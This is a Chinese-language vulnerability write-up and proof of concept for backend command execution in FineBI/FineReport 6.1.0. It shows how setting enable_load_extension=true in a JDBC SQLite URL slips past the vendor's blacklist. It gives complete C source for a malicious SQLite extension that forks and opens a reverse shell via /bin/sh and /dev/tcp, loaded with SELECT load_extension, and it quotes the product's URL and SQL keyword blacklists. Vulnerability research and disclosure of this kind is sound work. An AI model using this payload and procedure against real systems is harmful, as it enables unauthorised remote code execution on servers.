0x01 帆软finereBI/report后台本地命令执行

JAR包版本号:
6.1.0(JAR:Build#persist-2024.05.30.11.06.10.457)
https://www.finebi.com/product/download

对应版本6月12日的版本
0x02 poc 构造
下载发现官方软件代码,出厂lib中存在sqlite组件。

http://localhost:37799/webroot/decision#/management/connection
在url可以配置数据库连接

jdbcurl可控这里可以是设置为 jdbc:sqlite:DBPATH?enable_load_extension=true
开启**load_extension()**函数
https://sqlite.readdevdocs.com/loadext.html 这里有恶意dll 编写模版。
这里我是mac系统;
对应的恶意dll文件代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| #include <stdlib.h> #include <stdio.h> #include <sqlite3ext.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h>
SQLITE_EXTENSION_INIT1
#ifdef _WIN32 __declspec(dllexport) #endif
int sqlite3_extension_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi ) { int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi);
pid_t pid = fork(); if (pid < 0) { perror("fork error"); exit(1); } else if (pid > 0) { while (1) { } }
umask(0);
if (setsid() < 0) { perror("setsid error"); exit(1); }
close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO);
int fd = open("/dev/null", O_RDWR); dup2(fd, STDIN_FILENO); dup2(fd, STDOUT_FILENO); dup2(fd, STDERR_FILENO); close(fd);
const char *args[] = {"/bin/sh", "-c", "/bin/sh -i >& /dev/tcp/127.0.0.1/8888 0>&1", NULL}; execve("/bin/sh", (char* const*)args, NULL);
return 0; return rc; }
|
填写好接收反弹shell的地址。
使用gcc编译成恶意的动态链接库。
然后修改成
然后在校验语句这里输入语句执行我们恶意动态库文件**SELECT load_extension(‘poc.dylib’)**; 修改为dylic的路径。
执行后nc接收到shell。

0x03 代码分析
与finereport有点不同,
com.fr.decision.webservice.v10.datasource.connection.ConnectionService.getDriverPath

在这里接受我们传入的jdbc连接
om.fr.decision.webservice.v10.datasource.connection.processor.impl.ConnectionProcessorFactory.getDriverPath

com.fr.decision.webservice.v10.datasource.connection.processor.impl.JDBCConnectionProcessor.convertToJDBCConnectio

一系列调用后来看这里,完成jdbc链接的赋值,最后调用validateSettings进行检查
com.fr.decision.webservice.v10.datasource.connection.processor.impl.JDBCConnectionProcessor.validateSettings

这里会反射获取数据库服务,然后调用 JDBCSecurityChecker.checkUr进行检查。
com.fr.data.core.db.JDBCSecurityChecker#check

然后在黑名单进行匹配。

对应的黑名单
1 2 3 4 5 6 7
| private static final InsecurityElement[] FORBIDDEN_ELEMENTS_OF_URL = new InsecurityElement[] { (InsecurityElement)new InsecurityURLParameter("INIT="), (InsecurityElement)new InsecurityURLParameter("allowLoadLocalInfile="), (InsecurityElement)new InsecurityURLParameter("autoDeserialize="), (InsecurityElement)new InsecurityURLParameter("clientRerouteServerListJNDIName="), (InsecurityElement)new InsecurityURLParameter("jcr:jndi:"), (InsecurityElement)new InsecurityURLParameter("slaveHost="), (InsecurityElement)new InsecurityURLParameter("sqlite::resource"), (InsecurityElement)new InsecurityURLParameter("mysql:fabric"), (InsecurityElement)new InsecurityURLParameter("socketFactory="), (InsecurityElement)new InsecurityURLParameter("loggerFile="), (InsecurityElement)new InsecurityURLParameter("TRIGGER"), (InsecurityElement)new InsecurityURLParameter("java.lang.Runtime"), (InsecurityElement)new InsecurityURLParameter("java.lang.ProcessBuilder"), (InsecurityElement)new InsecurityURLParameter("java.lang.ProcessImpl"), (InsecurityElement)new InsecurityURLResource() };
private static final InsecurityElement[] FORBIDDEN_ELEMENTS_OF_VALIDATION_QUERY = new InsecurityElement[] { (InsecurityElement)new InsecuritySQLKeyword("create"), (InsecurityElement)new InsecuritySQLKeyword("drop"), (InsecurityElement)new InsecuritySQLKeyword("alter"), (InsecurityElement)new InsecuritySQLKeyword("insert"), (InsecurityElement)new InsecuritySQLKeyword("delete"), (InsecurityElement)new InsecuritySQLKeyword("merge"), (InsecurityElement)new InsecuritySQLKeyword("attach"), (InsecurityElement)new InsecuritySQLKeyword("benchmark"), (InsecurityElement)new InsecuritySQLKeyword("xp_dirtree") };
|
可以看到enable_load_extension=true 不在黑名单中,最后找成了执行恶意动态库。
过于复杂,推荐前端复现。
0x04 修复
等待官网修复,截止报告提交时间2024年6月14日,通杀所有版本。 截止8.4日,最新版已修复
声明
此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。